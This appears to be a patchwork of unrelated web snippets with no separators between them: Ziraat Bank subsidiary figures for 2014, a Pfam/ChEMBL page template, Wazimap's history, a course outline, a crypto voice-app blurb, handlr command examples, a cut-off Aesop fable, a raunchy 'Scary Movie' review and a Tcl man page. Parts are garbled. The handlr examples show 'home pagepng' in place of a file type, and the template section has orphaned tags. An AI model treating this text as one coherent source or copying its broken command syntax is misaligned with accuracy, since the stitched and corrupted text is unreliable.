Ziraat Emeklilik has been present in the Private Pension System since July 2011. The Company’s fund size increased by 109% YoY and its number of participants increased by 99% YoY in 2014. Funds reached TL 731 million with 248,000 participants. The Company had TL 2.1 billion in assets and shareholders’ equity of TL 272 million as of the end of 2014.
Ziraat Leasing increased its asset size to TL 1.9 billion in 2014 by outperforming the sector.
Ziraat Yatırım recorded transaction volumes of TL 22.2 billion on the Borsa Istanbul Equity Market in 2014.
Ziraat Portföy’s assets under management grew by 117% YoY and reached TL 3.9 billion.
Ziraat Teknoloji, staffed by around 500 competent and dynamic employees, provides IT services.
Ziraat Finansal Kiralama A.Ş.
Ziraat Leasing, which was established in 1991, continued its growth by outperforming the sector in asset size and net leasing receivables in 2014.
As of the end of 2014, the Company had TL 1.9 billion in assets and shareholders’ equity of TL 200 million.
Ziraat Yatırım Menkul Değerler A.Ş.
Ziraat Yatırım entered operation in 1997. The Company continues its operations with four branches, 16 investment centers and one communication office.
The Company recorded transaction volumes of TL 22.2 billion on the Borsa Istanbul Equity Market, TL 6.9 billion in the Derivatives Market, TL 73.6 billion in the Repo-Reverse Repo Market and TL 8.3 billion in the Bonds and Bills Market Outright Purchase and Sale Market during 2014. The Company intermediated in TL 4.7 billion of private sector bond and bill issues as part of its corporate finance services.
As of the end of 2014, the Company had TL 98 million in assets and TL 78 million in shareholders’ equity.
Ziraat Portföy Yönetimi A.Ş.
Ziraat Portföy, established in 2002, manages individual and corporate portfolios in addition to ten mutual funds owned by Ziraat Bank, four mutual funds owned by Ziraat Yatırım and ten private pension funds.
The Company realized a number of innovations in 2014. Ziraat Portföy received a licence and increased the standard of its technology security. The Company grew by 100% with the investments it undertook in human resources.
In 2014, the Company’s assets under management grew by 117% YoY from TL 1.8 billion to TL 3.9 billion. The Company jumped from 8th to 5th position among 48 asset management companies.
Ziraat Teknoloji A.Ş.
Staffed by around 500 competent and dynamic employees, Ziraat Teknoloji provides IT services to Ziraat Bank and its foreign/domestic partnerships in the fields of application development, system management, support-operations and technical consultancy since its foundation in 2001.
Ziraat Teknoloji moved to the Teknopark in Yıldız Technical University in April 2013. The Company has played an important role in Ziraat Finance Group’s transformation project with the products that it developed in line with the ISO 9001 and ISO 27001 standards.


Privileged Pfam-A domains mediate small molecule binding
Shown below are measured interactions of the {{ pfam_name }} Pfam-A domain with small molecules. Each point represents a measurement. There is currently a limit of ten on the number of displayed molecules. The total number of activities for this domain type in ChEMBL is {{ n_acts }}. For some Pfam-A domains, such as 7tm_1, there will be many more compounds.
{% else %}No index available.
{% endif %}If the plot above shows no activities, you have come across a case where the evidence for small molecule does not come from ChEMBL but from the literature. Cited below are {{cits|length}} articles that demonstrate the {{pfam_name}} domain capability of binding small molecules.


About Wazimap
Wazimap, from the Xhosa word ulwazi for knowledge, is a joint project by Media Monitoring Africa and OpenUp that provides easy access to South African census and elections data.
Read more about who we are and why we built Wazimap.
Shoulders of Giants
Wazimap is based on the amazing Census Reporter and is completely open source. You can build a Wazimap for your own country.
Why Wazimap? A brief history.
Since our first democratic elections in South Africa, Media Monitoring Africa (MMA) has monitored the media’s coverage in the run up to the elections. While our media are overwhelmingly fair we have found a general tendency across all the media monitored (on average 50 different media titles for each period) to have their elections agenda set by political leaders and political parties contesting. With some clear and often excellent exceptions that prove we have quality journalism, the news on offer tends to be event based, and fails to focus on the bigger issues we face.
Despite issues of labour, unemployment, crime, health, education challenges, transformation, sustainability, land, racism, xenophobia, poverty, inequality, gender-based violence and child abuse being so prevalent, we see that each of these issues receive less than 2% of coverage. For a more comprehensive overview of the challenges in coverage and positive trends see our interactive elections analysis of the 2019 national elections at mediamonitoringafrica.org/elections.mediamonitoringafrica.org/2019.
Journalism Tools
We are also aware of the many challenges faced in our newsrooms with shrinking budgets, and fewer journalists being expected to produce more and more stories. The questions we sought to answer included how to disrupt elections coverage and promote stories that cover issues. How could we help journalists get reliable factual information to back up and give context to stories? How could we help media unpack the different political dynamics in different hot spots? And finally how could we help media see elements of how they cover elections?
We had through our work on NewsTools (Churnalism and NewsDiffs) already started focusing on how to make better use of data and explore data journalism. We had an idea that we could try and mash data from the census carried out by Stats SA together with elections results and media coverage. What we were not sure about was how we could do this.
In a great moment of serendipity, during a break at a Hack Hackers event in Johannesburg, our Director William Bird met up with Adi Eyal from OpenUp. A brief chat and sparkle in Adi’s eyes said he was sure we could do something. He showed us his data journalism work (at that point looking at municipal issues in Cape Town) and we showed him ours (our elections coverage and NewsTools) and agreed that we could take our engagement forward.
Our one challenge was to raise the funds necessary, not only to build a new tool but also to help us update and upgrade our online media monitoring capacity. We used the national general elections in 2014 as our focal point. Our application to the Open Society Foundation for South Africa was successful and which meant we were able to start to realise our new vision for MMA.
Census Reporter
A series of meetings and discussions between William, Wellington Radu (MMA head of programmes) Adi and then Greg Kempe (more about him shortly) resulted in the beginnings of a prototype. Through their networks and exposure, Adi and Greg identified an amazing tool that we could adapt, localise and replicate - Census Reporter. Census Reporter was created in the USA as a Knight News Challenge project and was built by Joe Germuska, John Keefe, Ryan Pitts, Ian Dees and Sara Schnadt.
Thanks to Census Reporter we already had an incredible tool to base Wazimap on. A huge amount of work still had to take place with localising, bringing in our own data, adding our own additional elements, including using the map as the basic point of entry to the data. By mashing census, elections and media data we had taken an amazing idea and developed it even further.
Wazimap
The name Wazi is derived from the IsiXhosa word “ulwazi” for knowledge which we believed resonated with the aim of Wazimap. It was thanks largely to the coding brilliance of Greg and Adi that that we were able to get a version of Wazimap up and running before our elections in May 2014. Each time we added on requests for new information Greg would work his magic and the results would appear.
Wazimap has already proven to be so successful that it is being adapted again for Kenya and Nigeria by OpenUp and we have more great things for Wazimap planned. Play with Wazimap now.


Course Outline: Communication Concept: The Role of Communication in Business, Importance of Communication Skills, Main Form of Business Communication, Process of Human Communication. Fundamentals of Business Writing: Adaptation and the Selection of Words, Construction of Clear Sentences and Paragraphs, Writing for Effect. Basic Pattern of Business Messages: Directness in Good News and Neutral Situations, Indirectness in Bad Message, Indirectness in Persuasion Message, Letter and Memorandum, Letter Writing Styles, Pattern Variations in Memorandums and the Email, Job Search Activities: Strategies in the Job Search Process, Job search activities, Writing CV, Facing Interviews, Feedback letters for goodwill, Fundamentals of Report Writing: Basics of Report Writing, Report Structure: Short Forms, Long and Formal Report, Usages of Graphics. Other Form of Business Communication: Informal Oral Communication, Technology-Enabled Communication.


We make the process of buying cryptocurrency incredibly efficient. Instead of having to click buttons and navigate through myridads of data, which takes time, simply give Alexa your commands to buy and sell.
By utilizing various APIs and Amazon's Alexa, we have made steps to encorporate and integrate the overly-complex crypto world with elements that imbibe familiarity.
Our layout is simple, clean, and designed to mitigate complexity. We believe that the crypto world deserves a crypto-community that has been built for every demographic, everywhere.


numeric-list square-marker
- compatible with Angular
- full code refactoring & new components
- declarative approach to the definition of components
- framework itself monitors components, pressure via ajax
- create cool page without knowledge of javascript
- support classic approach to definition of components
counter-list
- item
-
item
- item
- item
-
item
- item
- item


handlr open https://example.com- Open a PDF in the default PDF viewer:
handlr open path/to/file.pdf- Set imv as the default application for PNG files:
handlr set home pagepng imv.desktop- Set MPV as the default application for all audio files:
handlr set 'audio/*' mpv.desktop- List all default apps:
handlr list- Print the default application for PNG files:
handlr get home pagepng


Aesop was one of the great Greek writers. He is best known for his fables, stories that have a moral. They teach us something about how we should live our lives. Aesop wrote thousands of these stories. Here are a few.
The Wolf in Sheep's Clothing
Once upon a time, a Wolf decided to disguise the way he looked. He thought it would help him get food more easily. He put on the skin of a sheep, then he went out with the flock into the pasture. Even the shepherd was fooled by his clever costume. In the evening, the shepherd put him in with the rest of the sheep. He closed the gate and made sure it was secure before he went to bed. In the middle of the night, he came


Scary Movie * * * (out of * * * * )
Directed by Keenen Ivory Wayans. Cast: Anna Faris, Jon Abrahams, Shawn Wayans, Regina Hall, Shannon Elizabeth, Marlon Wayans, Dave Sheridan, Lochlyn Munro, Cheri Oteri, Carmen Electra, Kurt Fuller, David L. Lander. 2000 - 88 minutes Rated R (for comic violence, gore, profanity, sex, male and female nudity, and extreme scatological humor). Reviewed by Dustin Putman, July 8, 2000.
A "Naked Gun/Airplane!"-style parody of the recent '90s resurgence of slasher movies was bound to happen sooner or later, and using the mother of them all, "Scream," as its major outline, one couldn't ask for a film much more funny or outrageously ballsy as "Scary Movie," mercilessly directed by Keenen Ivory Wayans (1988's "I'm Gonna Git You Sucka"). Borrowing major plot points, and then skewering them, from "I Know What You Did Last Summer," "The Blair Witch Project," "The Matrix," "The Usual Suspects," and, yes, "Scream," the act of watching "Scary Movie" is akin to getting, on average, five jokes, puns, and one-liners, thrown at you per minute. As is always the case with spoofs, not every comedic moment works, but so many are thrown at you, and there is such an unusually high success rate, that anyone open-minded about humor that is almost always in bad taste should have the most rib-ticklingly good time at the movies this year so far.
Occasionally a scene-for-scene lampoon of the original "Scream," "Scary Movie" has taken its basic plot, and added a prominent plot point from "I Know What You Did Last Summer," to unleash its rapid-fire line of gags. Carmen Electra opens the film in the Drew Barrymore role of Drew Decker, a high school student home alone who receives a phone call from a stranger. While jiffy popping some popcorn, they prattle on about their favorite scare movies, including Drew's personal favorite, the Shaquille O'Neal genie movie, "Kazaam!" Soon, however, the fun ends as she is being chased around her house by a killer in a ghostface Halloween costume. She inevitably is killed (but not before getting her clothes torn off and given the opportunity to strike some tantalizing poses while in the midst of her yard sprinkler; getting her breast implant stabbed out; and getting hit by her dad's car while he is receiving roadhead from her mother). If this already doesn't sound like your cup of tea, I hasten to add that this opener is only a relative taste of far raunchier things to come in the next 80 minutes.
The next morning, rumors are abuzz at B.A. Corpse High School, where the innocent virgin Cindy (Anna Faris) suspects the murder is related to a man she and her friends, including her boyfriend Bobby (Jon Abrahams); closeted football player Ray (Shawn Wayans) and his sassy girlfriend Brenda (Regina Hall); hunky Greg (Lochlyn Munro); and his lover, the snotty sex-on-legs Buffy (Shannon Elizabeth), accidentally hit with their car and dumped in the lake a year before, on Halloween. Soon, the six students are receiving threatening notes and being slaughtered one at a time, by someone who knows what they did.
The less you know going into "Scary Movie," the more unexpected and humorous it will undoubtedly be, so to discuss many of the brighter moments would be unfair. Suffice to say, if ever there was a movie that proves how unjustified the MPAA actually is, it is "Scary Movie." With no less than three scenes showing the male organ (one of which portrays it erect), and an unstoppable barrage of equally naughty behavior and images (does an "orgasmic explosion" mean anything to you?), the film has somehow passed as an R-rating, when much less extreme films have received (1998's "Orgazmo," 1995's "Showgirls") or been wrongfully threatened (1999's "Eyes Wide Shut") with an NC-17. Alas, "Scary Movie" turns out to, indeed, be scary--scary that director Keenen Ivory Wayans and screenwriters Shawn Wayans, Marlon Wayans, Buddy Johnson, Phil Beauman, Jason Friedberg, and Aaron Seltzer (whew!) had the courage to write such un-PC, potentially offensive material. That there are six writers involved in the film is usually a negative sign, but not this time. Apparently, all six had some really slam-bang, witty ideas and they morphed them all together into a sure-to-be-classic whole.
The whole cast of "Scary Movie" keep straight faces throughout, which is the right way to go. By making everything seem serious and real, it only proves more funny for the audience watching it. And if the sold-out audience whom I saw it with is any indication, there is going to be major repeat business just to catch all of the jokes that were easily missed the first time around, in part due to the loud, infectious laughter that swept over everyone.
The token virginal heroine, Cindy, is played by newcomer Anna Faris, and her delicious, likable turn is as good as it possibly could have been. Also taking advantage of the chance to test out their comedic skills are Shawn and Marlon Wayans; the delightful Regina Hall (1999's "The Best Man"), as loudmouth Brenda, who gets her much deserved comeuppance in one of the picture's best scenes, when she causes an uproar at the local movie theater showing "Shakespeare in Love;" Shannon Elizabeth (1999's "American Pie"), who is distraught that her boyfriend is killed until she learns she has just won the town's beauty pageant as Miss Fellatio; and Dave Sheridan and the sadly underused Cheri Oteri (TV's "Saturday Night Live"), as Deputy Doofy and Gail Hailstorm, obvious takes on the David Arquette and Courteney Cox Arquette characters in the "Scream" movies.
"Scary Movie" is never anything less than silly, but amidst it all are some fairly knowing moments of social commentary, including material on race relations, homosexuality, the portrayal of teenagers in Hollywood movies, as well as sly truths about teenagers and young adults. After hitting the unknown man with their car and deciding to do away with the body, Buffy says to Cindy, "We'll just pretend it never happened. Like the time we were drunk and went down on each other." It may not be art, but it does have a ring of honesty to it.
When film parodies work, they really smoke, but it is a particularly tricky genre in which most attempts fail. For every "Airplane!," there is a "Spy Hard," a "Wrongfully Accused," and a "Jane Austen's Mafia!," and "Scary Movie" is one of the very, very few recent ventures that belong in the former category. If you are in the mood to go to the movies, have a great time and a lot of big guffaw laughs--oh, and if you aren't faint of heart--it would be absolutely foolish to pass up "Scary Movie."
- Copyright 2000 by Dustin Putman Http://www.young-hollywood.com Http://www.atnzone.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


|
ActiveTcl User Guide
|
||
Tcl_UniCharIsAlnum, Tcl_UniCharIsAlpha, Tcl_UniCharIsControl, Tcl_UniCharIsDigit, Tcl_UniCharIsGraph, Tcl_UniCharIsLower, Tcl_UniCharIsPrint, Tcl_UniCharIsPunct, Tcl_UniCharIsSpace, Tcl_UniCharIsUpper, Tcl_UniCharIsWordChar - routines for classification of Tcl_UniChar characters
#include <tcl.h>
int
Tcl_UniCharIsAlnum(ch)
int
Tcl_UniCharIsAlpha(ch)
int
Tcl_UniCharIsControl(ch)
int
Tcl_UniCharIsDigit(ch)
int
Tcl_UniCharIsGraph(ch)
int
Tcl_UniCharIsLower(ch)
int
Tcl_UniCharIsPrint(ch)
int
Tcl_UniCharIsPunct(ch)
int
Tcl_UniCharIsSpace(ch)
int
Tcl_UniCharIsUpper(ch)
int
Tcl_UniCharIsWordChar(ch)
All of the routines described examine Tcl_UniChars and return a boolean value. A non-zero return value means that the character does belong to the character class associated with the called routine. The rest of this document just describes the character classes associated with the various routines.
Note: A Tcl_UniChar is a Unicode character represented as an unsigned, fixed-size quantity.
Tcl_UniCharIsAlnum tests if the character is an alphanumeric Unicode character.
Tcl_UniCharIsAlpha tests if the character is an alphabetic Unicode character.
Tcl_UniCharIsControl tests if the character is a Unicode control character.
Tcl_UniCharIsDigit tests if the character is a numeric Unicode character.
Tcl_UniCharIsGraph tests if the character is any Unicode print character except space.
Tcl_UniCharIsLower tests if the character is a lowercase Unicode character.
Tcl_UniCharIsPrint tests if the character is a Unicode print character.
Tcl_UniCharIsPunct tests if the character is a Unicode punctuation character.
Tcl_UniCharIsSpace tests if the character is a whitespace Unicode character.
Tcl_UniCharIsUpper tests if the character is an uppercase Unicode character.
Tcl_UniCharIsWordChar tests if the character is alphanumeric or a connector punctuation mark.
Copyright © 1997 Sun Microsystems, Inc. Copyright © 1995-1997 Roger E. Critchlow Jr.